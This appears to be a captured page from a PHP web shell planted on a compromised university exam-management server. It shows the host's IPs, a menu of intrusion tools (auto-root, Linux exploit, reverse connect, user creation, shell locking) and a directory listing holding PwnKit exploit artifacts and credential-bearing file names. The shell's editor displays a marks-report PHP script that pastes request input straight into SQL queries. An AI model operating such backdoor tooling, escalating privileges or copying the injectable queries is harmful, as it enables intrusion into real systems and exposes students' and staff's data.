Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.216.253.84
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
univadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
PHPExcel
[ DIR ]
drwxr-xr-x
PaymentReports
[ DIR ]
drwxr-xr-x
Paytm
[ DIR ]
drwxr-xr-x
QP_Details
[ DIR ]
drwxrwxrwx
Reports
[ DIR ]
drwxrwxr-x
SSPData
[ DIR ]
drwxrwxrwx
SSPData_bonf
[ DIR ]
drwxrwxrwx
adm-portal
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxr-x
bills
[ DIR ]
drwxrwxrwx
bkhm
[ DIR ]
drwxrwxrwx
creport_details
[ DIR ]
drwxrwxr-x
css
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxrwxrwx
demo
[ DIR ]
drwxrwxr-x
demovideo
[ DIR ]
drwxrwxr-x
eval_images
[ DIR ]
drwxrwxr-x
finance
[ DIR ]
drwxrwxr-x
hcon
[ DIR ]
drwxrwxr-x
html_modules
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
maya-pdf
[ DIR ]
drwxr-xr-x
mpdf_old
[ DIR ]
drwxrwxr-x
photocopy
[ DIR ]
drwxrwxrwx
plugins
[ DIR ]
drwxr-xr-x
regform
[ DIR ]
drwxrwxr-x
rradm
[ DIR ]
drwxrwxr-x
rrit
[ DIR ]
drwxrwxr-x
sdqp
[ DIR ]
drwxrwxr-x
sendgrid-php
[ DIR ]
drwxrwxr-x
src
[ DIR ]
drwxrwxrwx
src_12
[ DIR ]
drwxr-xr-x
studupload
[ DIR ]
drwxrwxrwx
tarka_pdf_latest
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
tdvs_pdf_test
[ DIR ]
drwxrwxrwx
tdvs_val_data
[ DIR ]
drwxrwxrwx
tdvsreports
[ DIR ]
drwxrwxr-x
test
[ DIR ]
drwxrwxr-x
tickets
[ DIR ]
drwxrwxr-x
uapp
[ DIR ]
drwxr-xr-x
unilite
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
upload_backup
[ DIR ]
drwxrwxrwx
uploadqpscheme
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxrwxrwx
.DS_Store
6
KB
-rw-rw-r--
.gitignore
56
B
-rwxr-xr-x
.mad-root
0
B
-rw-r--r--
19FSD501B_BB022086.pdf
18.41
MB
-rw-r--r--
19FSD501B_BB022086.png
261.97
KB
-rw-r--r--
CollCateGenWiseSumryReport.php
11.49
KB
-rwxr-xr-x
DbConnect.php
600
B
-rwxr-xr-x
MENU_BNU.php
2.52
KB
-rwxr-xr-x
PCDG_sms_push.php
1.94
KB
-rw-rw-r--
PC_sms_push.php
4.24
KB
-rw-rw-r--
PC_sms_push_kus.php
3.51
KB
-rwxr-xr-x
PC_sms_push_rcub.php
3.52
KB
-rwxr-xr-x
PDA104T_AA000322_001_0001.jpg
188.82
KB
-rw-r--r--
PDA104T_AA000322_001_0001.pdf
8.69
MB
-rw-r--r--
REVAReport.html
18.03
KB
-rw-r--r--
REVAReport_old.html
8.13
KB
-rw-r--r--
addressbookl.html
16.06
KB
-rw-r--r--
admdata.php
3.35
KB
-rwxr-xr-x
admin-Copy.html
5.68
KB
-rwxr-xr-x
admin.html
11.7
KB
-rw-rw-r--
adminPage.html
7.83
KB
-rw-r--r--
admin_old.html
10.06
KB
-rwxr-xr-x
alvas_smspush.php
4.66
KB
-rw-r--r--
alvas_smspush_ra.php
2.3
KB
-rw-r--r--
app.php
416
B
-rwxr-xr-x
appNotification.php
1.76
KB
-rwxr-xr-x
appdownlaodsum.php
5.55
KB
-rwxr-xr-x
application_letter_12610142212...
30.76
KB
-rw-r--r--
at_sms_push.php
3.23
KB
-rw-r--r--
at_sms_push_alvas.php
1.71
KB
-rw-r--r--
at_sms_push_rrit.php
1.71
KB
-rw-r--r--
at_sms_push_srun.php
1.68
KB
-rw-r--r--
backup1.php
4.28
KB
-rw-r--r--
barcode_test.php
2.99
KB
-rwxr-xr-x
bnu-menu.php
2.52
KB
-rwxr-xr-x
cconfig.php
1.5
KB
-rwxr-xr-x
composer.json
125
B
-rwxr-xr-x
composer.lock
11.97
KB
-rwxr-xr-x
config.php
230
B
-rw-rw-r--
cron_sendnotif.php
1.8
KB
-rwxr-xr-x
cronjob_sendnotif.php
2.2
KB
-rwxr-xr-x
cronjob_sendnotif_bcu.php
2.11
KB
-rwxr-xr-x
cronjob_sendnotif_bnu.php
2.11
KB
-rwxr-xr-x
cronjob_sendnotif_dud.php
1.74
KB
-rwxr-xr-x
cronjob_sendnotif_kus.php
2.11
KB
-rwxr-xr-x
cronjob_sendnotif_rcu.php
2.14
KB
-rwxr-xr-x
cronjob_sendnotif_rcub.php
2.11
KB
-rwxr-xr-x
dashboard.html
635
B
-rw-rw-r--
database.php
420
B
-rwxr-xr-x
downloadbkp.php
527
B
-rwxr-xr-x
dypatil_smspush.php
4.63
KB
-rw-r--r--
dypatil_smspush_ra.php
2.28
KB
-rw-r--r--
forget.html
10.64
KB
-rw-r--r--
gcg_smspush.php
4.59
KB
-rw-rw-r--
gcg_smspush_ra.php
2.25
KB
-rw-rw-r--
getQPdet.php
5.22
KB
-rw-rw-r--
get_univdetails.html
9.9
KB
-rw-rw-r--
get_univdetails.php
9.49
KB
-rw-rw-r--
get_univdetailsapi.php
5.59
KB
-rw-rw-r--
gss_smspush.php
4.68
KB
-rw-r--r--
gss_smspush_ra.php
2.3
KB
-rw-r--r--
hostNotification.php
1.61
KB
-rwxr-xr-x
index.html
3.87
KB
-rwxr-xr-x
jpgtobase64.php
173
B
-rwxr-xr-x
jssstu_smspush.php
6.5
KB
-rw-r--r--
jssstu_smspush_ra.php
2.57
KB
-rw-r--r--
jssu_smspush.php
4.65
KB
-rw-r--r--
jssu_smspush_ra.php
2.3
KB
-rw-r--r--
jssun_smspush.php
6.52
KB
-rw-r--r--
jssun_smspush_ra.php
2.59
KB
-rw-r--r--
kannada_mpdf_lang.pdf
8.4
KB
-rwxr-xr-x
kill_empty_connection.php
730
B
-rwxr-xr-x
leadLogs.php
818
B
-rwxr-xr-x
loadboarddata.php
816
B
-rw-rw-r--
loaddata.php
890
B
-rw-rw-r--
log.html
8.43
KB
-rw-r--r--
logBKMC.html
8.64
KB
-rw-r--r--
login.html
40.41
KB
-rw-rw-r--
loginForm.html
6.3
KB
-rw-r--r--
loginpage.html
18.03
KB
-rw-r--r--
menu.php
3.85
KB
-rwxr-xr-x
mfgcg_smspush.php
4.68
KB
-rw-r--r--
mfgcg_smspush_ra.php
2.33
KB
-rw-r--r--
nitte_smspush.php
4.77
KB
-rw-r--r--
nitte_smspush_ra.php
2.42
KB
-rw-r--r--
option_reva.php
1.84
KB
-rwxr-xr-x
oums_attapp_notif.php
3.3
KB
-rwxr-xr-x
pdftoimage.php
966
B
-rwxr-xr-x
phpinfo.php
21
B
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
rcub_cronjob_sendsms.php
554
B
-rwxr-xr-x
rcub_smspush.php
4.41
KB
-rwxr-xr-x
rcub_smspush_ra.php
2.12
KB
-rwxr-xr-x
re_cronjob_sendsms_rcu.php
5.22
KB
-rwxr-xr-x
report_merit_list.php
10.67
KB
-rwxr-xr-x
result_sms_push.php
10.51
KB
-rw-rw-r--
result_sms_push_kus.php
3.93
KB
-rwxr-xr-x
result_sms_push_old.php
2.67
KB
-rwxr-xr-x
result_sms_push_rcub.php
2.19
KB
-rwxr-xr-x
result_sms_push_reva.php
2.19
KB
-rwxr-xr-x
reva_smspush.php
4.7
KB
-rwxr-xr-x
reva_smspush_ra.php
2.34
KB
-rwxr-xr-x
reva_smspush_ra_stop.php
2.29
KB
-rwxr-xr-x
reva_smspush_stop.php
4.64
KB
-rwxr-xr-x
revabg.png
71.25
KB
-rw-r--r--
revalogo.jpg
17.02
KB
-rw-r--r--
revaopt.php
317
B
-rwxr-xr-x
room_smspush_nitte.php
4.71
KB
-rwxrwxr-x
rv_sendnotif_bcu.php
1.76
KB
-rwxr-xr-x
rv_sms_push.php
3.43
KB
-rw-rw-r--
rvdvcreate.php
4.87
KB
-rw-r--r--
saveBarcodeDeatils.php
2.56
KB
-rwxr-xr-x
sendGridMail.php
1.47
KB
-rwxr-xr-x
send_PC_kus.php
360
B
-rwxr-xr-x
send_PC_rcub.php
361
B
-rwxr-xr-x
send_PC_sms.php
1018
B
-rw-rw-r--
send_RV_sms.php
970
B
-rw-rw-r--
send_att.php
550
B
-rwxr-xr-x
send_att_alvas.php
396
B
-rwxr-xr-x
send_att_rrit.php
397
B
-rwxr-xr-x
send_att_srun.php
397
B
-rwxr-xr-x
send_att_surana.php
396
B
-rwxr-xr-x
send_down.php
425
B
-rwxr-xr-x
send_result.php
1.43
KB
-rwxr-xr-x
send_result_kus.php
358
B
-rwxr-xr-x
send_result_rcub.php
359
B
-rwxr-xr-x
send_result_reva.php
359
B
-rwxr-xr-x
sendnotif.php
4.24
KB
-rwxr-xr-x
sendnotif_dud.php
1.76
KB
-rwxr-xr-x
sendnotif_oums.php
1.46
KB
-rwxr-xr-x
sendsms_05092020.php
4.34
KB
-rwxr-xr-x
sendsms_alvas.php
688
B
-rw-r--r--
sendsms_dypatil.php
700
B
-rw-r--r--
sendsms_gcg.php
688
B
-rw-rw-r--
sendsms_gss.php
688
B
-rw-r--r--
sendsms_jssstu.php
700
B
-rw-r--r--
sendsms_jssu.php
690
B
-rw-r--r--
sendsms_jssun.php
694
B
-rw-r--r--
sendsms_mfgcg.php
693
B
-rw-r--r--
sendsms_new_stop.php
1.34
KB
-rw-r--r--
sendsms_nitte.php
694
B
-rw-r--r--
sendsms_reva.php
691
B
-rwxr-xr-x
sendsms_sjbit.php
693
B
-rw-r--r--
sendsms_surana.php
688
B
-rw-r--r--
sendsmsapi.php
814
B
-rwxr-xr-x
sendsmsbulk.php
845
B
-rwxr-xr-x
sendsmsmanual.php
381
B
-rwxr-xr-x
sendsmsroot.php
634
B
-rwxr-xr-x
sendzohomail.php
1.46
KB
-rwxr--r--
signin.php
1.71
KB
-rwxr-xr-x
sikkim_adm_data.php
1.3
KB
-rwxr-xr-x
sjbit_smspush.php
4.71
KB
-rw-r--r--
sjbit_smspush_01_stop.php
2.37
KB
-rw-r--r--
sjbit_smspush_ra.php
2.37
KB
-rw-r--r--
ssp_adm_sample_format.xlsx
8.37
KB
-rw-rw-r--
ssp_bonf_sample_format.xlsx
9.43
KB
-rw-rw-r--
ssp_coll_upd.php
3.28
KB
-rwxr-xr-x
ssp_data.php
1.69
KB
-rwxr-xr-x
ssp_deg_upd.php
3.14
KB
-rwxr-xr-x
sspgetcolldata.php
6.77
KB
-rwxr-xr-x
sspgetdata.php
4.21
KB
-rwxr-xr-x
studentReg.html
1.72
KB
-rwxr-xr-x
surana_smspush.php
4.68
KB
-rw-r--r--
surana_smspush_ra.php
2.3
KB
-rw-r--r--
tdvsQpPatranTest.php
21.77
KB
-rw-r--r--
teachersList.php
14.98
KB
-rwxr-xr-x
test.php
23
B
-rwxr-xr-x
test.xlsx
1014.5
KB
-rwxr-xr-x
uniclare-pro-firebase-adminsdk...
2.32
KB
-rw-rw-r--
univadmin.html
10.26
KB
-rw-rw-r--
updexc.php
3.95
KB
-rwxr-xr-x
upload-message-attachments-bas...
2.83
KB
-rwxr-xr-x
upload-message-attachments.php
1.79
KB
-rwxr-xr-x
upload-study-material.php
6.6
KB
-rwxr-xr-x
upload_ans_book.php
3.45
KB
-rwxr-xr-x
upload_exc.php
471
B
-rwxr-xr-x
upload_file.php
1.11
KB
-rwxr-xr-x
upload_file_backup.php
1.21
KB
-rw-rw-r--
upload_mc.php
1.62
KB
-rwxr-xr-x
upload_pc.php
3.49
KB
-rwxr-xr-x
upload_qp.php
3.01
KB
-rw-rw-r--
valdet.php
9.15
KB
-rw-rw-r--
vskubcollegesendmail.php
2.08
KB
-rwxr--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tdvsQpPatranTest.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); $pdf_writer_class = $main_src . "/tcpdf/tcpdf.php"; require_once($pdf_writer_class); // require_once("report_hall_ticket.php"); class MYPDF extends TCPDF { public function Footer() { $this->SetY(-15); $this->SetFont('helvetica', 'I', 8); // var_dump(); if($this->CurOrientation == 'P') { $this->Cell(0, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(0, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 1, 'R'); //$this->Cell(60, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R'); } else { $this->Cell(90, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $this->Cell(90, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 1, 'R'); } } } class MarksListReport extends MYPDF { function formcolldata() { $get_coll_name = "select FUNIVCODE, FUNIVNAME as 'FUNIVNAME', FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name); $this->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE']; $this->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME']; $this->s_state = $lobj_get_coll_name['state']; $this->f_year = $lobj_get_coll_name['f_year']; $this->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path']; $this->FEXAMAPPREQ = $lobj_get_coll_name['FEXAMAPPREQ']; $folder = $this->aobj_context->pdb['ffolder']; $this->url = "http://universitysolutions.in/{$folder}/"; } public function Footer() { $pdf->SetY(-10); $pdf->SetFont('helvetica', 'I', 8); $pdf->Cell(60, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L'); $pdf->Cell(60, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 1, 'C'); } function DefaultConstructor($aobj_context) { $this->aobj_context = $aobj_context; $this->pdf = new MYPDF(); $this->doc_no = trim($this->aobj_context->mobj_data["doc_no"]); $this->ip = $_SERVER["REMOTE_ADDR"]; $get_date = "select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date"; $obj = $this->aobj_context->pobj_db->GetRow($get_date); } function WriteHallTicket($doc_no) { $this->tempcode = trim($this->aobj_context->mobj_data["tempcode"]); var_dump($this->tempcode); $get_data = "select t.fqpcode, t.fbatchno, t.fvalno, mq.fsubname, mq.fdeggrp, mq.fexamdate, t.fteachcode, t1.fteachname, t.frevcode, t2.fteachname as frevname, mq.fsmaxmarks, date_format(date(t.fdate), '%d/%m/%Y') as flogdate, TIME_FORMAT(fsysdate, '%h:%i:%s %p') as flogtime from tdvs_tabsum t left join tdvs_masqp mq on t.fqpcode = mq.fqpcode left join tdvs_deggrp dg on mq.fdeggrp = dg.fdeggrp left join tdvs_masteach t1 on t.fteachcode = t1.fteachcode left join tdvs_masteach t2 on t.frevcode = t2.fteachcode where t.fbatchno = '{$doc_no}' group by t.fqpcode"; $obj_get_data = $this->aobj_context->pobj_db->GetRow($get_data); $pdf = $this->pdf; if($obj_get_data['fvalno'] == 'R' || $obj_get_data['fvalno'] == 'D') $pdf->SetMargins(25, 10); $pdf->AddPage("P"); $page_cnt = 1; $name = ""; if($obj_get_data['fvalno'] == 'R') $name = "Revaluation"; else if($obj_get_data['fvalno'] == 'D') $name = "Deveation"; $pdf->SetLineWidth(0.01); $pdf->SetFont('Times', 'B', 14); $img_path=$this->url."/img/logo.jpg"; $univ_logo = file_get_contents($img_path); if($univ_logo != "") { if($obj_get_data['fvalno'] == 'R' || $obj_get_data['fvalno'] == 'D') $pdf->Image('@'.$univ_logo,25,10,25,20); else $pdf->Image('@'.$univ_logo,15,10,25,20); } $pdf->Cell(175, 4, $this->FUNIVNAME, 0, 1, 'C'); $pdf->SetFont('Times', '', 9); $pdf->Cell(175, 4, $this->s_state, '0', 1, 'C'); $pdf->SetFont('Times', 'B', 12); $pdf->Ln(2); $pdf->Cell(175, 5, $name.' Marks List for '.$obj_get_data['fexamdate'] . ' Examination', '0', 1, 'C'); $pdf->SetFont('Times', '', 12); $pdf->Ln(6); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'QP. Code', 0, 0, 'L'); $pdf->Cell(6, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(40, 6, '' . $obj_get_data['fqpcode'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(25, 6, 'Subject', 0, 0, 'L'); $pdf->Cell(6, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(120, 6, '' . $obj_get_data['fsubname'], 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Batch. No.', 0, 0, 'L'); $pdf->Cell(6, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(40, 6, '' . $obj_get_data['fbatchno'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(25, 6, 'Valuation No.', 0, 0, 'L'); $pdf->Cell(6, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); if($obj_get_data['fvalno'] == 'R' || $obj_get_data['fvalno'] == 'D') $pdf->Cell(22, 6, '' . $obj_get_data['fvalno'], 0, 0, 'L'); else $pdf->Cell(15, 6, '' . $obj_get_data['fvalno'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(25, 6, 'Max. Marks', 0, 0, 'L'); $pdf->Cell(6, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(120, 6, '' . $obj_get_data['fsmaxmarks'], 0, 1, 'L'); $pdf->Ln(2); $w = "186"; $romanarray = array("A" => "I", "B" => "II", "C" => "III", "D" => "IV", "E" => "V", "F" => "VI", "G" => "VII", "H" => "VIII", "I" => "IX", "I" => "X"); $query = "select fregcode, fdummyno as fslno, ifnull(FNREGCODE,'') as fnregcode, if(fsysmarks = -1, '',fsysmarks) as fvmarks, if(ifnull(frevstatus,'') = 'FINAL', if(fsysmarksv = -1, '',fsysmarksv), '') as frmarks from tdvs_tabsum where fqpcode = '{$obj_get_data['fqpcode']}' and fbatchno = '{$obj_get_data['fbatchno']}' and ifnull(fstatus,'') = 'FINAL'"; $result = $this->aobj_context->pobj_db->GetAll($query); $valno = $obj_get_data['fvalno']; if($valno == 'R' || $valno == 'D') { $pdf->SetFont('Times', 'B', 11); $pdf->Cell(10, 5, "Sl.", "LRT", 0, "C"); $pdf->Cell(20, 5, "Ab. ID", "LRT", 0, "C"); $pdf->Cell(60, 5, "Code Number", "LRT", 0, "C"); //$pdf->Cell(30, 5, "New Reg. Code", "LRT", 0, "C"); $pdf->Cell(65, 5, "Marks Awarded", "LTR", 1, "C"); // $pdf->Cell(30, 5, "Remarks", "LTR", 1, "C"); $pdf->Cell(10, 5, "No.", "LRB", 0, "C"); $pdf->Cell(20, 5, "", "LRB", 0, "C"); $pdf->Cell(60, 5, "", "LRB", 0, "C"); //$pdf->Cell(30, 5, "", "LRB", 0, "C"); $pdf->Cell(15, 5, "In Fig", "LTRB", 0, "C"); $pdf->Cell(50, 5, "In Words", "LTRB", 1, "C"); // $pdf->Cell(15, 5, "In Fig", "LTRB", 0, "C"); // $pdf->Cell(40, 5, "In Words", "LTRB", 1, "C"); }else { $pdf->SetFont('Times', 'B', 11); $pdf->Cell(10, 5, "Sl.", "LRT", 0, "C"); $pdf->Cell(20, 5, "Ab. ID", "LRT", 0, "C"); $pdf->Cell(30, 5, "Reg. Code", "LRT", 0, "C"); $pdf->Cell(65, 5, "Marks Awarded by Examiner", "LTR", 0, "C"); $pdf->Cell(65, 5, "Marks Awarded by Reviewer", "LTR", 1, "C"); // $pdf->Cell(30, 5, "Remarks", "LTR", 1, "C"); $pdf->Cell(10, 5, "No.", "LRB", 0, "C"); $pdf->Cell(20, 5, "", "LRB", 0, "C"); $pdf->Cell(30, 5, "", "LRB", 0, "C"); $pdf->Cell(15, 5, "In Fig", "LTRB", 0, "C"); $pdf->Cell(50, 5, "In Words", "LTRB", 0, "C"); $pdf->Cell(15, 5, "In Fig", "LTRB", 0, "C"); $pdf->Cell(50, 5, "In Words", "LTRB", 1, "C"); } // $pdf->Cell(30, 5, "", "LRB", 1, "C"); $pdf->SetFont('Times', '', 11); $slno = 1; foreach ($result as $mk) { // var_dump($mk); if($valno == 'R') { $pdf->Cell(10, 6, $slno, "LTRB", 0, "C"); $pdf->Cell(20, 6, $mk['fslno'], "LTRB", 0, "C"); $pdf->Cell(30, 6, $mk['fregcode'], "LTRB", 0, "C"); $pdf->Cell(30, 6, $mk['fnregcode'], "LTRB", 0, "C"); $pdf->Cell(15, 6, (int) $mk['fvmarks'], "LTRB", 0, "C"); $pdf->Cell(50, 6, $mk['fvmarks'] >= 0 ? strtoupper($this->getIndianCurrency($mk['fvmarks'])) : "", "LTRB", 1, "L"); // $pdf->Cell(15, 6, $mk['frmarks'] === "" ? $mk['frmarks'] : (int)$mk['frmarks'] , "LTRB", 0, "C"); // $pdf->Cell(40, 6, $mk['frmarks'] >= 0 ? strtoupper($this->getIndianCurrency($mk['frmarks'])) :"", "LTRB", 1, "L"); }else { $pdf->Cell(10, 6, $slno, "LTRB", 0, "C"); $pdf->Cell(20, 6, $mk['fslno'], "LTRB", 0, "C"); $pdf->Cell(60, 6, $mk['fregcode'], "LTRB", 0, "C"); $pdf->Cell(15, 6, (int) $mk['fvmarks'], "LTRB", 0, "C"); $pdf->Cell(50, 6, $mk['fvmarks'] >= 0 ? strtoupper($this->getIndianCurrency($mk['fvmarks'])) : "", "LTRB", 1, "L"); // $pdf->Cell(15, 6, $mk['frmarks'] === "" ? $mk['frmarks'] : (int)$mk['frmarks'] , "LTRB", 0, "C"); // $pdf->Cell(50, 6, $mk['frmarks'] >= 0 ? strtoupper($this->getIndianCurrency($mk['frmarks'])) :"", "LTRB", 1, "L"); } // $pdf->Cell(30, 6, "", "LTRB", 1, "C"); $slno++; } $pdf->Ln(7); $pdf->Cell(0, 6, 'Above marks are verified and found to be correct.', 0, 1, 'L'); $pdf->Ln(2); if($valno == 'R' || $valno == 'D') { $pdf->SetFont('Times', 'BU', 11); $pdf->Cell(100, 6, 'Examiner', 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Code', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '' . $obj_get_data['fteachcode'], 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Name', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '' . $obj_get_data['fteachname'], 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Sign', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '', 0, 1, 'L'); $pdf->Ln(4); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Date', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, $obj_get_data['flogdate'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, '', 0, 0, 'L'); $pdf->Cell(3, 6, ' ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(80, 6, "", 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Time', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, $obj_get_data['flogtime'], 0, 1, 'L'); }else { $pdf->SetFont('Times', 'BU', 11); $pdf->Cell(100, 6, 'Examiner', 0, 0, 'L'); $pdf->Cell(100, 6, 'Reviewer / Moderator / Chairman', 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Code', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '' . $obj_get_data['fteachcode'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Code', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(80, 6, '' . $obj_get_data['frevcode'], 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Name', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '' . $obj_get_data['fteachname'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Name', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(80, 6, '' . $obj_get_data['frevname'], 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Sign', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, '', 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Sign', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(80, 6, '', 0, 1, 'L'); $pdf->Ln(4); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Date', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, $obj_get_data['flogdate'], 0, 0, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, '', 0, 0, 'L'); $pdf->Cell(3, 6, ' ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(80, 6, "", 0, 1, 'L'); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(20, 6, 'Time', 0, 0, 'L'); $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); $pdf->SetFont('Times', '', 11); $pdf->Cell(77, 6, $obj_get_data['flogtime'], 0, 1, 'L'); } // $pdf->SetFont('Times', 'B', 11); // $pdf->Cell(20, 6, 'Check No.', 0, 0, 'L'); // $pdf->Cell(3, 6, ' : ', 0, 0, 'L'); // $pdf->SetFont('Times', '', 11); // $pdf->Cell(80, 6, "", 0, 1, 'L'); } function getIndianCurrency($number) { if($number == ""){ return ""; } $hyphen = ' '; $conjunction = ' and '; $separator = ', '; $negative = 'negative '; $decimal = ' point '; $dictionary = array( 0 => 'zero', 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six', 7 => 'seven', 8 => 'eight', 9 => 'nine', 10 => 'ten', 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen', 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen', 19 => 'nineteen', 20 => 'twenty', 30 => 'thirty', 40 => 'fourty', 50 => 'fifty', 60 => 'sixty', 70 => 'seventy', 80 => 'eighty', 90 => 'ninety', 100 => 'hundred', 1000 => 'thousand', 100000 => 'lakh', 10000000 => 'crore' ); $number = (int)$number; if (!is_numeric($number)) { return false; } if (($number >= 0 && (int) $number < 0) || (int) $number < 0 - PHP_INT_MAX) { // overflow trigger_error( 'convert_number_to_words only accepts numbers between -' . PHP_INT_MAX . ' and ' . PHP_INT_MAX, E_USER_WARNING ); return false; } if ($number < 0) { return $negative . convert_number_to_words(abs($number)); } $string = $fraction = null; if (strpos($number, '.') !== false) { list($number, $fraction) = explode('.', $number); } switch (true) { case $number < 21: $string = $dictionary[$number]; break; case $number < 100: $tens = ((int) ($number / 10)) * 10; $units = $number % 10; $string = $dictionary[$tens]; if ($units) { $string .= $hyphen . $dictionary[$units]; } break; case $number < 1000: $hundreds = $number / 100; $remainder = $number % 100; $string = $dictionary[$hundreds] . ' ' . $dictionary[100]; if ($remainder) { $string .= $conjunction . convert_number_to_words($remainder); } break; case $number < 100000: $thousands = ((int) ($number / 1000)); $remainder = $number % 1000; $thousands = convert_number_to_words($thousands); $string .= $thousands . ' ' . $dictionary[1000]; if ($remainder) { $string .= $separator . convert_number_to_words($remainder); } break; case $number < 10000000: $lakhs = ((int) ($number / 100000)); $remainder = $number % 100000; $lakhs = convert_number_to_words($lakhs); $string = $lakhs . ' ' . $dictionary[100000]; if ($remainder) { $string .= $separator . convert_number_to_words($remainder); } break; case 